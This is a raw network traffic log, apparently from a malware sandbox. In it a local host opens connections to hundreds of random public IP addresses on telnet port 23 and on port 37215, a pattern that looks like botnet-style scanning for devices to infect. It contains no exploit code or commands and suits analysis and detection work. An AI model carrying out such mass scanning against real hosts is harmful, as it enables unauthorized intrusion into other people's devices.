Dec 3, 2024 23:16:51.726327896 CET	40602	23	192.168.2.23	48.3.140.144
Dec 3, 2024 23:16:51.726327896 CET	40602	23	192.168.2.23	201.65.157.179
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	154.128.250.121
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	73.255.167.24
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	49.126.104.207
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	61.134.232.140
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	63.80.143.203
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	68.208.95.215
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	202.141.44.105
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	145.191.46.170
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	34.82.101.51
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	164.158.127.65
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	145.248.236.63
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	121.238.89.179
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	69.161.124.148
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	161.24.238.167
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	59.254.143.195
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	41.51.247.129
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	12.34.158.132
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	36.77.160.210
Dec 3, 2024 23:16:51.726330042 CET	40602	23	192.168.2.23	109.184.208.244
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	141.127.168.170
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	125.178.81.93
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	53.46.31.193
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	136.193.167.161
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	75.121.23.3
Dec 3, 2024 23:16:51.726336002 CET	40602	23	192.168.2.23	179.69.172.224
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	88.17.223.158
Dec 3, 2024 23:16:51.726330042 CET	40602	23	192.168.2.23	149.121.157.25
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	61.216.33.152
Dec 3, 2024 23:16:51.726330042 CET	40602	23	192.168.2.23	92.89.89.206
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	13.249.33.160
Dec 3, 2024 23:16:51.726336002 CET	40602	23	192.168.2.23	125.167.172.83
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	45.52.25.86
Dec 3, 2024 23:16:51.726336002 CET	40602	23	192.168.2.23	132.117.101.39
Dec 3, 2024 23:16:51.726329088 CET	40602	23	192.168.2.23	144.67.198.55
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	154.169.19.239
Dec 3, 2024 23:16:51.726350069 CET	40602	23	192.168.2.23	27.121.17.123
Dec 3, 2024 23:16:51.726330042 CET	40602	23	192.168.2.23	100.140.58.47
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	157.112.210.160
Dec 3, 2024 23:16:51.726332903 CET	40602	23	192.168.2.23	188.37.229.12
Dec 3, 2024 23:16:51.726336002 CET	40602	23	192.168.2.23	73.220.247.117
Dec 3, 2024 23:16:51.726353884 CET	40602	23	192.168.2.23	108.31.220.65
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	176.24.140.233
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	102.28.244.72
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	65.139.245.2
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	49.142.207.141
Dec 3, 2024 23:16:51.726334095 CET	40602	23	192.168.2.23	199.20.93.158
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	87.21.236.136
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	115.255.168.88
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	162.72.43.90
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	52.65.44.254
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	64.244.7.3
Dec 3, 2024 23:16:51.726361036 CET	40602	23	192.168.2.23	153.244.185.131
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	135.48.83.129
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	179.187.84.52
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	213.119.45.203
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	77.45.84.21
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	52.223.19.78
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	116.16.204.85
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	60.186.204.90
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	107.44.29.217
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	218.125.212.45
Dec 3, 2024 23:16:51.726363897 CET	40602	23	192.168.2.23	8.82.110.241
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	162.251.73.131
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	78.125.95.244
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	178.28.131.230
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	125.108.89.223
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	193.246.9.4
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	211.236.67.230
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	205.59.53.117
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	193.191.199.208
Dec 3, 2024 23:16:51.726365089 CET	40602	23	192.168.2.23	179.7.137.1
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	43.50.102.93
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	187.21.94.118
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	73.78.183.143
Dec 3, 2024 23:16:51.726366043 CET	40602	23	192.168.2.23	194.149.43.66
Dec 3, 2024 23:16:51.726372957 CET	40602	23	192.168.2.23	88.252.105.85
Dec 3, 2024 23:16:51.726375103 CET	40602	23	192.168.2.23	184.244.35.14
Dec 3, 2024 23:16:51.726377010 CET	40602	23	192.168.2.23	95.0.247.65
Dec 3, 2024 23:16:51.726377010 CET	40602	23	192.168.2.23	76.249.126.63
Dec 3, 2024 23:16:51.726378918 CET	40602	23	192.168.2.23	104.95.204.144
Dec 3, 2024 23:16:51.726378918 CET	40602	23	192.168.2.23	154.127.217.233
Dec 3, 2024 23:16:51.726381063 CET	40602	23	192.168.2.23	219.27.155.192
Dec 3, 2024 23:16:51.726385117 CET	40602	23	192.168.2.23	176.161.184.100
Dec 3, 2024 23:16:51.726397991 CET	40602	23	192.168.2.23	202.48.200.214
Dec 3, 2024 23:16:51.726397991 CET	40602	23	192.168.2.23	89.165.198.200
Dec 3, 2024 23:16:51.726403952 CET	40602	23	192.168.2.23	46.72.129.34
Dec 3, 2024 23:16:51.726408005 CET	40602	23	192.168.2.23	205.87.67.39
Dec 3, 2024 23:16:51.726408005 CET	40602	23	192.168.2.23	179.209.183.8
Dec 3, 2024 23:16:51.726413012 CET	40602	23	192.168.2.23	138.49.245.86
Dec 3, 2024 23:16:51.726413965 CET	40602	23	192.168.2.23	46.202.142.103
Dec 3, 2024 23:16:51.726425886 CET	40602	23	192.168.2.23	83.241.143.130
Dec 3, 2024 23:16:51.726433039 CET	40602	23	192.168.2.23	136.121.149.187
Dec 3, 2024 23:16:51.726437092 CET	40602	23	192.168.2.23	159.225.246.50
Dec 3, 2024 23:16:51.726438046 CET	40602	23	192.168.2.23	97.231.23.12
Dec 3, 2024 23:16:51.726444006 CET	40602	23	192.168.2.23	175.129.235.2
Dec 3, 2024 23:16:51.726444006 CET	40602	23	192.168.2.23	93.154.90.28
Dec 3, 2024 23:16:51.726447105 CET	40602	23	192.168.2.23	213.74.46.176
Dec 3, 2024 23:16:51.726455927 CET	40602	23	192.168.2.23	27.72.230.26
Dec 3, 2024 23:16:51.726464987 CET	40602	23	192.168.2.23	64.18.24.1
Dec 3, 2024 23:16:51.726471901 CET	40602	23	192.168.2.23	145.221.131.23
Dec 3, 2024 23:16:51.726473093 CET	40602	23	192.168.2.23	192.34.194.36
Dec 3, 2024 23:16:51.726473093 CET	40602	23	192.168.2.23	211.38.201.78
Dec 3, 2024 23:16:51.726475954 CET	40602	23	192.168.2.23	223.74.144.155
Dec 3, 2024 23:16:51.726476908 CET	40602	23	192.168.2.23	154.214.135.116
Dec 3, 2024 23:16:51.726495981 CET	40602	23	192.168.2.23	124.202.238.13
Dec 3, 2024 23:16:51.726496935 CET	40602	23	192.168.2.23	182.70.241.31
Dec 3, 2024 23:16:51.726501942 CET	40602	23	192.168.2.23	171.135.173.2
Dec 3, 2024 23:16:51.726507902 CET	40602	23	192.168.2.23	118.80.111.252
Dec 3, 2024 23:16:51.726507902 CET	40602	23	192.168.2.23	176.113.199.179
Dec 3, 2024 23:16:51.726509094 CET	40602	23	192.168.2.23	71.210.39.224
Dec 3, 2024 23:16:51.726511002 CET	40602	23	192.168.2.23	27.9.34.158
Dec 3, 2024 23:16:51.726511955 CET	40602	23	192.168.2.23	167.93.66.125
Dec 3, 2024 23:16:51.726516008 CET	40602	23	192.168.2.23	167.8.76.47
Dec 3, 2024 23:16:51.726519108 CET	40602	23	192.168.2.23	141.219.192.154
Dec 3, 2024 23:16:51.726525068 CET	40602	23	192.168.2.23	186.96.51.171
Dec 3, 2024 23:16:51.726525068 CET	40602	23	192.168.2.23	107.52.228.224
Dec 3, 2024 23:16:51.726525068 CET	40602	23	192.168.2.23	170.132.206.243
Dec 3, 2024 23:16:51.751023054 CET	50892	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:51.751024008 CET	56588	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:51.849896908 CET	23	40602	120.24.186.17	192.168.2.23
Dec 3, 2024 23:16:51.849925041 CET	23	40602	175.222.56.168	192.168.2.23
Dec 3, 2024 23:16:51.849941015 CET	23	40602	75.61.49.52	192.168.2.23
Dec 3, 2024 23:16:51.849950075 CET	23	40602	39.154.134.101	192.168.2.23
Dec 3, 2024 23:16:51.849991083 CET	23	40602	32.132.122.68	192.168.2.23
Dec 3, 2024 23:16:51.849999905 CET	23	40602	75.162.165.80	192.168.2.23
Dec 3, 2024 23:16:51.850059986 CET	40602	23	192.168.2.23	75.162.165.80
Dec 3, 2024 23:16:51.850060940 CET	40602	23	192.168.2.23	120.24.186.17
Dec 3, 2024 23:16:51.850061893 CET	40602	23	192.168.2.23	39.154.134.101
Dec 3, 2024 23:16:51.850061893 CET	40602	23	192.168.2.23	175.222.56.168
Dec 3, 2024 23:16:51.850061893 CET	40602	23	192.168.2.23	32.132.122.68
Dec 3, 2024 23:16:51.850061893 CET	40602	23	192.168.2.23	75.61.49.52
Dec 3, 2024 23:16:51.850099087 CET	23	40602	202.104.107.220	192.168.2.23
Dec 3, 2024 23:16:51.850115061 CET	23	40602	219.139.250.193	192.168.2.23
Dec 3, 2024 23:16:51.850125074 CET	23	40602	205.199.180.113	192.168.2.23
Dec 3, 2024 23:16:51.850133896 CET	23	40602	39.55.207.89	192.168.2.23
Dec 3, 2024 23:16:51.850143909 CET	23	40602	102.248.246.78	192.168.2.23
Dec 3, 2024 23:16:51.850147963 CET	40602	23	192.168.2.23	219.139.250.193
Dec 3, 2024 23:16:51.850148916 CET	40602	23	192.168.2.23	202.104.107.220
Dec 3, 2024 23:16:51.850152016 CET	40602	23	192.168.2.23	205.199.180.113
Dec 3, 2024 23:16:51.850153923 CET	23	40602	144.60.89.225	192.168.2.23
Dec 3, 2024 23:16:51.850162983 CET	23	40602	71.38.129.112	192.168.2.23
Dec 3, 2024 23:16:51.850178003 CET	40602	23	192.168.2.23	102.248.246.78
Dec 3, 2024 23:16:51.850182056 CET	40602	23	192.168.2.23	39.55.207.89
Dec 3, 2024 23:16:51.850188971 CET	40602	23	192.168.2.23	144.60.89.225
Dec 3, 2024 23:16:51.850198030 CET	40602	23	192.168.2.23	71.38.129.112
Dec 3, 2024 23:16:51.850205898 CET	23	40602	169.88.32.122	192.168.2.23
Dec 3, 2024 23:16:51.850244045 CET	40602	23	192.168.2.23	169.88.32.122
Dec 3, 2024 23:16:51.851017952 CET	23	40602	19.134.78.109	192.168.2.23
Dec 3, 2024 23:16:51.851059914 CET	40602	23	192.168.2.23	19.134.78.109
Dec 3, 2024 23:16:51.851061106 CET	23	40602	31.129.122.55	192.168.2.23
Dec 3, 2024 23:16:51.851070881 CET	23	40602	80.94.119.50	192.168.2.23
Dec 3, 2024 23:16:51.851098061 CET	40602	23	192.168.2.23	80.94.119.50
Dec 3, 2024 23:16:51.851104021 CET	40602	23	192.168.2.23	31.129.122.55
Dec 3, 2024 23:16:51.851109982 CET	23	40602	52.221.209.44	192.168.2.23
Dec 3, 2024 23:16:51.851119995 CET	23	40602	166.178.169.214	192.168.2.23
Dec 3, 2024 23:16:51.851155043 CET	40602	23	192.168.2.23	166.178.169.214
Dec 3, 2024 23:16:51.851155996 CET	40602	23	192.168.2.23	52.221.209.44
Dec 3, 2024 23:16:51.851197958 CET	23	40602	207.46.174.64	192.168.2.23
Dec 3, 2024 23:16:51.851208925 CET	23	40602	185.177.215.35	192.168.2.23
Dec 3, 2024 23:16:51.851227045 CET	23	40602	186.13.220.140	192.168.2.23
Dec 3, 2024 23:16:51.851236105 CET	40602	23	192.168.2.23	185.177.215.35
Dec 3, 2024 23:16:51.851237059 CET	40602	23	192.168.2.23	207.46.174.64
Dec 3, 2024 23:16:51.851243019 CET	23	40602	146.226.56.99	192.168.2.23
Dec 3, 2024 23:16:51.851253033 CET	23	40602	20.73.173.101	192.168.2.23
Dec 3, 2024 23:16:51.851262093 CET	40602	23	192.168.2.23	186.13.220.140
Dec 3, 2024 23:16:51.851262093 CET	23	40602	101.98.224.142	192.168.2.23
Dec 3, 2024 23:16:51.851274014 CET	23	40602	59.214.165.49	192.168.2.23
Dec 3, 2024 23:16:51.851278067 CET	40602	23	192.168.2.23	146.226.56.99
Dec 3, 2024 23:16:51.851281881 CET	40602	23	192.168.2.23	20.73.173.101
Dec 3, 2024 23:16:51.851289034 CET	23	40602	54.201.193.88	192.168.2.23
Dec 3, 2024 23:16:51.851299047 CET	23	40602	210.128.214.135	192.168.2.23
Dec 3, 2024 23:16:51.851303101 CET	40602	23	192.168.2.23	101.98.224.142
Dec 3, 2024 23:16:51.851305962 CET	40602	23	192.168.2.23	59.214.165.49
Dec 3, 2024 23:16:51.851308107 CET	23	40602	149.124.61.13	192.168.2.23
Dec 3, 2024 23:16:51.851325989 CET	23	40602	2.233.186.12	192.168.2.23
Dec 3, 2024 23:16:51.851329088 CET	40602	23	192.168.2.23	54.201.193.88
Dec 3, 2024 23:16:51.851335049 CET	23	40602	149.134.91.55	192.168.2.23
Dec 3, 2024 23:16:51.851336956 CET	40602	23	192.168.2.23	210.128.214.135
Dec 3, 2024 23:16:51.851345062 CET	23	40602	89.148.64.166	192.168.2.23
Dec 3, 2024 23:16:51.851350069 CET	40602	23	192.168.2.23	149.124.61.13
Dec 3, 2024 23:16:51.851353884 CET	23	40602	66.235.110.56	192.168.2.23
Dec 3, 2024 23:16:51.851360083 CET	40602	23	192.168.2.23	149.134.91.55
Dec 3, 2024 23:16:51.851365089 CET	40602	23	192.168.2.23	2.233.186.12
Dec 3, 2024 23:16:51.851380110 CET	40602	23	192.168.2.23	89.148.64.166
Dec 3, 2024 23:16:51.851382017 CET	23	40602	63.175.33.182	192.168.2.23
Dec 3, 2024 23:16:51.851382971 CET	40602	23	192.168.2.23	66.235.110.56
Dec 3, 2024 23:16:51.851392984 CET	23	40602	103.107.216.48	192.168.2.23
Dec 3, 2024 23:16:51.851401091 CET	23	40602	79.133.86.184	192.168.2.23
Dec 3, 2024 23:16:51.851411104 CET	23	40602	125.129.42.25	192.168.2.23
Dec 3, 2024 23:16:51.851418018 CET	23	40602	25.143.36.6	192.168.2.23
Dec 3, 2024 23:16:51.851422071 CET	40602	23	192.168.2.23	63.175.33.182
Dec 3, 2024 23:16:51.851422071 CET	40602	23	192.168.2.23	103.107.216.48
Dec 3, 2024 23:16:51.851425886 CET	23	40602	170.23.181.201	192.168.2.23
Dec 3, 2024 23:16:51.851435900 CET	23	40602	53.102.93.26	192.168.2.23
Dec 3, 2024 23:16:51.851435900 CET	40602	23	192.168.2.23	79.133.86.184
Dec 3, 2024 23:16:51.851435900 CET	40602	23	192.168.2.23	125.129.42.25
Dec 3, 2024 23:16:51.851444960 CET	23	40602	177.6.55.145	192.168.2.23
Dec 3, 2024 23:16:51.851448059 CET	40602	23	192.168.2.23	25.143.36.6
Dec 3, 2024 23:16:51.851448059 CET	40602	23	192.168.2.23	170.23.181.201
Dec 3, 2024 23:16:51.851454973 CET	23	40602	130.224.194.117	192.168.2.23
Dec 3, 2024 23:16:51.851464033 CET	40602	23	192.168.2.23	53.102.93.26
Dec 3, 2024 23:16:51.851465940 CET	23	40602	108.78.2.0	192.168.2.23
Dec 3, 2024 23:16:51.851481915 CET	23	40602	137.13.243.60	192.168.2.23
Dec 3, 2024 23:16:51.851485968 CET	40602	23	192.168.2.23	177.6.55.145
Dec 3, 2024 23:16:51.851490021 CET	23	40602	143.61.149.73	192.168.2.23
Dec 3, 2024 23:16:51.851490974 CET	40602	23	192.168.2.23	130.224.194.117
Dec 3, 2024 23:16:51.851499081 CET	23	40602	107.248.16.207	192.168.2.23
Dec 3, 2024 23:16:51.851504087 CET	40602	23	192.168.2.23	108.78.2.0
Dec 3, 2024 23:16:51.851504087 CET	40602	23	192.168.2.23	137.13.243.60
Dec 3, 2024 23:16:51.851509094 CET	23	40602	97.27.98.197	192.168.2.23
Dec 3, 2024 23:16:51.851520061 CET	23	40602	177.23.164.175	192.168.2.23
Dec 3, 2024 23:16:51.851526976 CET	40602	23	192.168.2.23	143.61.149.73
Dec 3, 2024 23:16:51.851528883 CET	23	40602	63.184.151.241	192.168.2.23
Dec 3, 2024 23:16:51.851531982 CET	40602	23	192.168.2.23	107.248.16.207
Dec 3, 2024 23:16:51.851540089 CET	23	40602	23.177.206.95	192.168.2.23
Dec 3, 2024 23:16:51.851547956 CET	40602	23	192.168.2.23	97.27.98.197
Dec 3, 2024 23:16:51.851547956 CET	40602	23	192.168.2.23	177.23.164.175
Dec 3, 2024 23:16:51.851548910 CET	23	40602	98.88.221.202	192.168.2.23
Dec 3, 2024 23:16:51.851557016 CET	23	40602	193.152.111.253	192.168.2.23
Dec 3, 2024 23:16:51.851558924 CET	40602	23	192.168.2.23	63.184.151.241
Dec 3, 2024 23:16:51.851579905 CET	40602	23	192.168.2.23	23.177.206.95
Dec 3, 2024 23:16:51.851579905 CET	40602	23	192.168.2.23	98.88.221.202
Dec 3, 2024 23:16:51.851602077 CET	40602	23	192.168.2.23	193.152.111.253
Dec 3, 2024 23:16:51.875775099 CET	37215	50892	156.213.87.168	192.168.2.23
Dec 3, 2024 23:16:51.875842094 CET	37215	56588	41.50.74.64	192.168.2.23
Dec 3, 2024 23:16:51.875943899 CET	50892	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:51.875945091 CET	56588	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:51.876178026 CET	40597	37215	192.168.2.23	41.65.89.176
Dec 3, 2024 23:16:51.876178026 CET	40597	37215	192.168.2.23	41.122.67.190
Dec 3, 2024 23:16:51.876179934 CET	40597	37215	192.168.2.23	156.122.138.23
Dec 3, 2024 23:16:51.876179934 CET	40597	37215	192.168.2.23	197.129.180.180
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	197.197.150.3
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	156.45.45.252
Dec 3, 2024 23:16:51.876179934 CET	40597	37215	192.168.2.23	156.67.180.155
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	41.235.181.100
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	41.197.26.189
Dec 3, 2024 23:16:51.876179934 CET	40597	37215	192.168.2.23	156.200.241.129
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	156.97.251.247
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	197.213.171.136
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	156.254.117.170
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	41.214.171.165
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	41.18.69.167
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	197.2.18.39
Dec 3, 2024 23:16:51.876183033 CET	40597	37215	192.168.2.23	156.112.202.52
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	41.167.147.236
Dec 3, 2024 23:16:51.876187086 CET	40597	37215	192.168.2.23	41.200.202.45
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	156.164.121.76
Dec 3, 2024 23:16:51.876187086 CET	40597	37215	192.168.2.23	41.36.129.214
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	197.208.138.243
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	197.216.145.233
Dec 3, 2024 23:16:51.876187086 CET	40597	37215	192.168.2.23	156.152.197.177
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	41.211.179.227
Dec 3, 2024 23:16:51.876187086 CET	40597	37215	192.168.2.23	41.196.9.161
Dec 3, 2024 23:16:51.876184940 CET	40597	37215	192.168.2.23	197.123.138.56
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	156.71.218.190
Dec 3, 2024 23:16:51.876184940 CET	40597	37215	192.168.2.23	197.250.90.120
Dec 3, 2024 23:16:51.876187086 CET	40597	37215	192.168.2.23	197.38.41.29
Dec 3, 2024 23:16:51.876184940 CET	40597	37215	192.168.2.23	156.3.25.126
Dec 3, 2024 23:16:51.876180887 CET	40597	37215	192.168.2.23	156.130.193.199
Dec 3, 2024 23:16:51.876184940 CET	40597	37215	192.168.2.23	197.43.193.84
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	156.83.29.41
Dec 3, 2024 23:16:51.876184940 CET	40597	37215	192.168.2.23	41.45.1.102
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	41.57.196.96
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	197.161.213.247
Dec 3, 2024 23:16:51.876182079 CET	40597	37215	192.168.2.23	156.95.35.230
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	197.211.31.73
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	41.18.181.200
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.200.131.225
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.160.19.90
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.130.88.214
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	41.24.56.91
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	197.139.91.13
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.132.201.202
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.1.133.190
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	197.67.166.214
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	156.69.145.170
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	197.193.244.174
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	197.228.67.103
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	197.115.255.158
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	41.106.84.91
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	197.169.147.175
Dec 3, 2024 23:16:51.876244068 CET	50892	37215	192.168.2.23	156.213.87.168
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	197.110.163.45
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	156.36.37.99
Dec 3, 2024 23:16:51.876238108 CET	40597	37215	192.168.2.23	197.149.51.225
Dec 3, 2024 23:16:51.876246929 CET	56588	37215	192.168.2.23	41.50.74.64
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	41.69.63.52
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	197.252.161.185
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	41.85.17.245
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	156.180.198.226
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	156.21.151.157
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	197.68.64.131
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	41.35.232.104
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	197.72.193.98
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	41.223.165.169
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	41.4.142.178
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	41.72.251.203
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	41.2.209.64
Dec 3, 2024 23:16:51.876246929 CET	40597	37215	192.168.2.23	156.58.207.172
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	197.252.167.43
Dec 3, 2024 23:16:51.876244068 CET	40597	37215	192.168.2.23	41.218.206.206
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	197.248.255.255
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	156.245.7.97
Dec 3, 2024 23:16:51.876246929 CET	40597	37215	192.168.2.23	41.169.68.190
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	41.149.152.239
Dec 3, 2024 23:16:51.876245022 CET	40597	37215	192.168.2.23	156.109.59.47
Dec 3, 2024 23:16:51.876247883 CET	40597	37215	192.168.2.23	197.101.31.253
Dec 3, 2024 23:16:51.876245022 CET	40597	37215	192.168.2.23	41.51.14.214
Dec 3, 2024 23:16:51.876247883 CET	40597	37215	192.168.2.23	41.4.28.14
Dec 3, 2024 23:16:51.876245975 CET	40597	37215	192.168.2.23	41.57.35.208
Dec 3, 2024 23:16:51.876247883 CET	40597	37215	192.168.2.23	197.179.120.240
Dec 3, 2024 23:16:51.876239061 CET	40597	37215	192.168.2.23	156.119.217.113
Dec 3, 2024 23:16:51.876247883 CET	40597	37215	192.168.2.23	197.100.13.41
Dec 3, 2024 23:16:51.876265049 CET	40597	37215	192.168.2.23	197.237.100.231
Dec 3, 2024 23:16:51.876247883 CET	40597	37215	192.168.2.23	156.103.119.254
Dec 3, 2024 23:16:51.876245022 CET	40597	37215	192.168.2.23	197.221.210.203
Dec 3, 2024 23:16:51.876266003 CET	40597	37215	192.168.2.23	41.125.92.32
Dec 3, 2024 23:16:51.876245022 CET	40597	37215	192.168.2.23	197.150.203.123
Dec 3, 2024 23:16:51.876266003 CET	40597	37215	192.168.2.23	156.198.228.203
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	156.224.168.116
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	156.254.252.246
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	41.212.126.69
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	41.56.147.148
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	156.50.136.33
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	197.175.215.118
Dec 3, 2024 23:16:51.876276970 CET	40597	37215	192.168.2.23	156.77.98.28
Dec 3, 2024 23:16:51.876280069 CET	40597	37215	192.168.2.23	197.187.69.74
Dec 3, 2024 23:16:51.876280069 CET	40597	37215	192.168.2.23	156.218.188.62
Dec 3, 2024 23:16:51.876281023 CET	40597	37215	192.168.2.23	197.90.152.173
Dec 3, 2024 23:16:51.876281023 CET	40597	37215	192.168.2.23	197.112.174.38
Dec 3, 2024 23:16:51.876281023 CET	40597	37215	192.168.2.23	156.115.61.162
Dec 3, 2024 23:16:51.876281023 CET	40597	37215	192.168.2.23	41.78.172.89
Dec 3, 2024 23:16:51.876282930 CET	40597	37215	192.168.2.23	41.153.11.79
Dec 3, 2024 23:16:51.876282930 CET	40597	37215	192.168.2.23	41.148.208.241
Dec 3, 2024 23:16:51.876282930 CET	40597	37215	192.168.2.23	41.72.249.216
Dec 3, 2024 23:16:51.876286030 CET	40597	37215	192.168.2.23	41.13.95.53
